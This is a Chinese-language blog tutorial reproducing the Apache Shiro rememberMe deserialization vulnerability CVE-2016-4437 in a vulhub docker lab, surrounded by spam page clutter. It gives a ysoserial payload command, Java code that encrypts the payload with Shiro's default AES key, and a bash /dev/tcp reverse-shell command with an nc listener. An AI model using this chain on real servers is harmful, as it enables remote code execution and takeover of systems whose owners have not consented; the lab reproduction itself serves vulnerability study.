91超碰碰碰碰久久久久久综合_超碰av人澡人澡人澡人澡人掠_国产黄大片在线观看画质优化_txt小说免费全本

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

如何實現反序列化命令執行CVE-2016-4437復現

發布時間:2021-12-29 18:02:37 來源:億速云 閱讀:209 作者:柒染 欄目:安全技術

這篇文章給大家介紹如何實現反序列化命令執行CVE-2016-4437復現,內容非常詳細,感興趣的小伙伴們可以參考借鑒,希望對大家能有所幫助。

0x00 簡介

Apache Shiro是一款開源安全框架,提供身份驗證、授權、密碼學和會話管理。Shiro框架直觀、易用,同時也能提供健壯的安全性。

Apache Shiro 1.2.4及以前版本中,加密的用戶信息序列化后存儲在名為remember-me的Cookie中。攻擊者可以使用Shiro的默認密鑰偽造用戶Cookie,觸發Java反序列化漏洞,進而在目標機器上執行任意命令。

0x01 啟動環境

cd /vulhub/shiro/cve-2016-4437

docker-compose up -d

# 注意:啟動端口8080,若沖突請修改

0x02 漏洞分析

1 搭建測試環境

使用IDEA創建maven項目并導入依賴

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>

<groupId>org.example</groupId>
<artifactId>Shiro</artifactId>
<version>1.0-SNAPSHOT</version>

<properties>
<maven.compiler.source>8</maven.compiler.source>
<maven.compiler.target>8</maven.compiler.target>
</properties>

<dependencies>
<dependency>
<groupId>junit</groupId>
<artifactId>junit</artifactId>
<version>4.12</version>
<scope>compile</scope>
</dependency>
<dependency>
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-core</artifactId>
<version>1.2.4</version>
</dependency>
</dependencies>
</project>

shiro組件自然是必須的,junit純屬方便測試(復習一下)

項目結構:

如何實現反序列化命令執行CVE-2016-4437復現

注意:poc.ser的路徑相對于項目根路徑

如何實現反序列化命令執行CVE-2016-4437復現

2 漏洞分析

根據大佬的文章可知問題出在:org.apache.shiro.mgt.AbstractRememberMeManager

打開源碼進行分析:

如何實現反序列化命令執行CVE-2016-4437復現

26行定義了默認key,32行構造函數用默認的key對加密密鑰進行賦值

如何實現反序列化命令執行CVE-2016-4437復現

167行使用密鑰進行AES解密,也就是默認的密鑰

綜上,由于AES默認密鑰是固定的,如果開發者沒有手動修改則可以操控反序列化的數據進而getshell

0x03 漏洞復現

1 生成字節碼文件

java -jar ysoserial.jar CommonsBeanutils1 "touch /tmp/success" > poc.ser

如何實現反序列化命令執行CVE-2016-4437復現

將字節碼文件拷貝到項目中

2 編寫代碼進行AES加密

import org.apache.shiro.codec.Base64;
import org.apache.shiro.codec.CodecSupport;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;

import java.io.IOException;
import java.nio.file.FileSystems;
import java.nio.file.Files;

import org.junit.Test;
public class ShiroTest {
@Test
public void RCE() throws IOException
{
byte[] payloads = Files.readAllBytes(FileSystems.getDefault().getPath("", "", "poc.ser"));

AesCipherService aes = new AesCipherService();
byte[] key = Base64.decode(CodecSupport.toBytes("kPH+bIxk5D2deZiIxcaaaA=="));

ByteSource ciphertext = aes.encrypt(payloads, key);
System.out.printf(ciphertext.toString());
}
}

3 替換cookie

如何實現反序列化命令執行CVE-2016-4437復現

4 進入docker鏡像查看效果

如何實現反序列化命令執行CVE-2016-4437復現

成功創建文件

5 反彈shell

1 制作命令

# 反彈shell的命令,注意:>& 之間不能有空格
bash -i >& /dev/tcp/ip/port 0>& 1

在線轉換網址:http://www.jackson-t.ca/runtime-exec-payloads.html

如何實現反序列化命令執行CVE-2016-4437復現

2 使用ysoserial生成字節碼并用上面的代碼生成加密的cookie

如何實現反序列化命令執行CVE-2016-4437復現

3 在攻擊終端中開啟nc監聽

# 監聽連接
nc -lvp port

如何實現反序列化命令執行CVE-2016-4437復現

4 修改cookie并發送

如何實現反序列化命令執行CVE-2016-4437復現

5 查看監聽情況

如何實現反序列化命令執行CVE-2016-4437復現

NICE,成功返回shell

關于如何實現反序列化命令執行CVE-2016-4437復現就分享到這里了,希望以上內容可以對大家有一定的幫助,可以學到更多知識。如果覺得文章不錯,可以把它分享出去讓更多的人看到。

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

富阳市| 长垣县| 营山县| 青海省| 古交市| 青龙| 玉山县| 南和县| 贡觉县| 太康县| 吴堡县| 巴林左旗| 镇远县| 富平县| 信丰县| 蕲春县| 西安市| 佛教| 广饶县| 都兰县| 澳门| 宜春市| 北海市| 静安区| 临邑县| 敦化市| 自贡市| 裕民县| 翁牛特旗| 剑川县| 施秉县| 临夏市| 通江县| 和顺县| 陈巴尔虎旗| 亳州市| 南部县| 尤溪县| 太保市| 江阴市| 无极县|